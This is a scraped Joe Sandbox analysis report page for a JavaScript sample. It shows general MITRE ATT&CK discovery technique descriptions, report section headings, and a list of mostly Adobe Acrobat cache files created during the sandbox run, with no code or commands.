Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1418132746179806359.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\a8a46872-4ba6-42a8-ad15-3081bf3cd1b5.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6772

Windows Analysis Report
1418132746179806359.js